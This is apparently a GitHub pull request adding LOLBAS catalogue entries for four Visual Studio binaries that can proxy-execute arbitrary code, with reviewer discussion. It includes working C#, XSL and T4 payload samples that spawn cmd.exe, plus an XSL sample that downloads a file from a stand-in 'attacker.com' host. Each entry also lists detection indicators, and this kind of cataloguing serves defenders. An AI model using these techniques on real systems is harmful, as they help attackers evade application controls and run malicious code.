Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
40 changes: 40 additions & 0 deletions yml/OtherMSBinaries/MSTest.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
---
Name: MSTest.exe

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you please specify what packages you need to get this file in Visual Studio? It is not present by default.

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Gone in 2026 yeah, only in VS 2022. Will scope it.

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I installed VS 2022 Professional but MSTest.exe is not at the specified location. I'm guessing this still requires a special package then (it's not Text Template Transformation), could you please specify which?

image

Description: Legacy Test Execution Command Line Tool included with Visual Studio. Loads and executes .NET test assemblies which can contain arbitrary code.
Author: Noam Pomerantz
Created: 2026-04-03
Commands:
- Command: MSTest.exe /testcontainer:{PATH:.dll} /resultsfile:{OUTPUT_FILE}
Description: Loads a .NET assembly as a test container and executes all methods decorated with the TestMethod attribute. The test methods run with full .NET Framework access, allowing arbitrary code execution.
Usecase: Proxy execution of arbitrary .NET code by packaging it as a unit test DLL. A test runner executing attacker-controlled assemblies is unexpected outside a development context.
Category: Execute
Privileges: User
MitreID: T1218
OperatingSystem: Windows 10, Windows 11
Full_Path:
- Path: C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\MSTest.exe
- Path: C:\Program Files\Microsoft Visual Studio\2022\Professional\Common7\IDE\MSTest.exe
- Path: C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\IDE\MSTest.exe
Code_Sample:
- Code: |-
// Compile with: csc.exe /target:library /reference:"C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ReferenceAssemblies\v4.0\Microsoft.VisualStudio.QualityTools.UnitTestFramework.dll" /out:MaliciousTest.dll MaliciousTest.cs
using Microsoft.VisualStudio.TestTools.UnitTesting;
using System.Diagnostics;
[TestClass]
public class LolbasTest
{
[TestMethod]
public void Execute()
{
Process.Start("cmd.exe");
}
}
Detection:
- IOC: MSTest.exe process execution outside of a typical Visual Studio development or CI/CD context.
- IOC: MSTest.exe loading test assemblies from unusual directories such as %TEMP% or user profile folders.
- IOC: Unexpected child processes (e.g., cmd.exe, powershell.exe) spawning directly from MSTest.exe.
Resources:
- Link: https://learn.microsoft.com/en-us/visualstudio/test/walkthrough-using-a-configuration-file-to-define-a-data-source
Acknowledgement:
- Person: Noam Pomerantz
Handle: '@pumi96'
61 changes: 61 additions & 0 deletions yml/OtherMSBinaries/Microsoft.XslDebugger.Host.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
---
Name: Microsoft.XslDebugger.Host.exe

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I could not get this to work - nothing happens.

Image

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can see from your screenshot - the files are on the Desktop and you're passing input.xml payload.xsl as relative paths. That's the problem. CAS treats relative paths as untrusted and blocks execution silently. Pass absolute paths and it works:

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That's a quite important requirement to add to the entry in that case.

I will generalise them into a single entry as basically, the finding here is that it can execute arbitrary xls files. This means you can execute C#, but also VBScript, Jscript, etc. - and everything that comes with it (rather than singling out execution and download). See screenshot for a JScript example.

image

Description: XSLT Execution Utility included with Visual Studio for debugging XSLT transformations
Author: Noam Pomerantz
Created: 2026-04-05
Commands:
- Command: Microsoft.XslDebugger.Host.exe {PATH_ABSOLUTE:.xml} {PATH_ABSOLUTE:.xsl} /enable:all
Description: Execute C#/JScript/VBScript code through XML/XSL Transformation.
Usecase: Execute arbitrary code and spawn processes through a Microsoft-signed XSLT debugger binary.
Category: Execute
Privileges: User
MitreID: T1220
OperatingSystem: Windows
Tags:
- Execute: XSL
Full_Path:
- Path: C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Xml\Microsoft.XslDebugger.Host.exe
- Path: C:\Program Files (x86)\Microsoft Visual Studio\2022\Community\Common7\IDE\Xml\Microsoft.XslDebugger.Host.exe
- Path: C:\Program Files\Microsoft Visual Studio\2022\Professional\Common7\IDE\Xml\Microsoft.XslDebugger.Host.exe
- Path: C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\IDE\Xml\Microsoft.XslDebugger.Host.exe
Code_Sample:
- Code: |-
<!-- input.xml -->
<?xml version="1.0"?><data>test</data>

<!-- payload.xsl (Execute) -->
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="urn:custom">
<msxsl:script language="C#" implements-prefix="user"><![CDATA[
public string execute() {
System.Diagnostics.Process.Start("cmd.exe");
return "done";
}
]]></msxsl:script>
<xsl:template match="/"><xsl:value-of select="user:execute()"/></xsl:template>
</xsl:stylesheet>

<!-- download.xsl (Download) -->
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="urn:custom">
<msxsl:script language="C#" implements-prefix="user"><![CDATA[
public string download() {
new System.Net.WebClient().DownloadFile("http://attacker.com/payload", @"C:\Users\Public\payload.exe");
return "done";
}
]]></msxsl:script>
<xsl:template match="/"><xsl:value-of select="user:download()"/></xsl:template>
</xsl:stylesheet>
Detection:
- IOC: Microsoft.XslDebugger.Host.exe execution outside of devenv.exe parent process
- IOC: Microsoft.XslDebugger.Host.exe with /enable:all command-line argument
- IOC: Microsoft.XslDebugger.Host.exe spawning child processes (cmd.exe, powershell.exe)
- IOC: Microsoft.XslDebugger.Host.exe making outbound HTTP/HTTPS connections
Resources:
- Link: https://learn.microsoft.com/en-us/dotnet/standard/data/xml/xslt-transformations
- Link: https://learn.microsoft.com/en-us/dotnet/standard/data/xml/script-blocks-using-msxsl-script
Acknowledgement:
- Person: Noam
Handle: '@pumi96'
38 changes: 38 additions & 0 deletions yml/OtherMSBinaries/TextTransform.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
---
Name: TextTransform.exe

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you please specify what packages you need to get this file in Visual Studio? It is not present by default.

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not installed by default - needs the "Text Template Transformation" component (Microsoft.VisualStudio.Component.TextTemplating). You can add it via Individual components in the VS installer, or just install any of the .NET desktop / web / Azure workloads, they all pull it in. Will update the entry.

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Found it, made a few changes.
image

Description: T4 Text Template transformation tool included with Visual Studio. Processes T4 template files (.tt) that can contain arbitrary C# or VB.NET code which executes during template processing. Part of the "Text Template Transformation" component (`Microsoft.VisualStudio.Component.TextTemplating`) in Visual Studio.
Author: Noam Pomerantz
Created: 2026-04-03
Commands:
- Command: TextTransform.exe {PATH:.tt}
Description: Executes code contained in a T4 template file (.tt) as VB.net or C# (with full .NET Framework access).
Usecase: Execute arbitrary code by embedding it in a T4 template file.
Category: Execute
Privileges: User
MitreID: T1127
OperatingSystem: Windows
Tags:
- Execute: TT
Full_Path:
- Path: C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\TextTransform.exe
- Path: C:\Program Files\Microsoft Visual Studio\2022\Professional\Common7\IDE\TextTransform.exe
- Path: C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\IDE\TextTransform.exe
- Path: c:\Program Files\Microsoft Visual Studio\18\Community\Common7\IDE\TextTransform.exe
- Path: c:\Program Files\Microsoft Visual Studio\18\Professional\Common7\IDE\TextTransform.exe
- Path: c:\Program Files\Microsoft Visual Studio\18\Enterprise\Common7\IDE\TextTransform.exe
Code_Sample:
- Code: |-
<#@ template language="C#" #>
<#@ import namespace="System.Diagnostics" #>
<#
Process.Start("cmd.exe");
#>
Detection:
- IOC: TextTransform.exe process execution outside of a typical Visual Studio development context.
- IOC: TextTransform.exe processing .tt files from unusual directories such as %TEMP% or user profile folders.
- IOC: Unexpected child processes (e.g., cmd.exe, powershell.exe) spawning directly from TextTransform.exe.
Resources:
- Link: https://learn.microsoft.com/en-us/visualstudio/modeling/code-generation-and-t4-text-templates
Acknowledgement:
- Person: Noam Pomerantz
Handle: '@pumi96'
40 changes: 40 additions & 0 deletions yml/OtherMSBinaries/TextTransformCore.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
---
Name: TextTransformCore.exe

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you please specify what packages you need to get this file in Visual Studio? It is not present by default.

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not installed by default - needs the "Text Template Transformation" component (Microsoft.VisualStudio.Component.TextTemplating). You can add it via Individual components in the VS installer, or just install any of the .NET desktop / web / Azure workloads, they all pull it in. Will update the entry.

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

image Confirmed

Description: .NET Core T4 Text Template transformation tool included with Visual Studio. Processes T4 template files (.tt) that can contain arbitrary C# code which executes during template processing. Part of the "Text Template Transformation" component (`Microsoft.VisualStudio.Component.TextTemplating`) in Visual Studio. Requires .NET Core Runtime to be pre-installed.
Author: Noam Pomerantz
Created: 2026-04-03
Commands:
- Command: TextTransformCore.exe {PATH:.tt}
Description: Executes code contained in a T4 template file (.tt) as VB.net or C# (with full .NET Framework access).
Usecase: Execute arbitrary code by embedding it in a T4 template file.
Category: Execute
Privileges: User
MitreID: T1127
OperatingSystem: Windows
Tags:
- Execute: TT
Full_Path:
- Path: C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\TextTransformCore.exe
- Path: C:\Program Files\Microsoft Visual Studio\2022\Professional\Common7\IDE\TextTransformCore.exe
- Path: C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\IDE\TextTransformCore.exe
- Path: C:\Program Files\Microsoft Visual Studio\18\Community\Common7\IDE\TextTransformCore.exe
- Path: C:\Program Files\Microsoft Visual Studio\18\Professional\Common7\IDE\TextTransformCore.exe
- Path: C:\Program Files\Microsoft Visual Studio\18\Enterprise\Common7\IDE\TextTransformCore.exe
Code_Sample:
- Code: |-
<#@ template language="C#" #>
<#@ assembly name="System.Diagnostics.Process" #>
<#@ assembly name="System.ComponentModel.Primitives" #>
<#@ import namespace="System.Diagnostics" #>
<#
Process.Start("cmd.exe");
#>
Detection:
- IOC: TextTransformCore.exe process execution outside of a typical Visual Studio development context.
- IOC: TextTransformCore.exe processing .tt files from unusual directories such as %TEMP% or user profile folders.
- IOC: Unexpected child processes (e.g., cmd.exe, powershell.exe) spawning directly from TextTransformCore.exe.
Resources:
- Link: https://learn.microsoft.com/en-us/visualstudio/modeling/code-generation-and-t4-text-templates
Acknowledgement:
- Person: Noam Pomerantz
Handle: '@pumi96'
Loading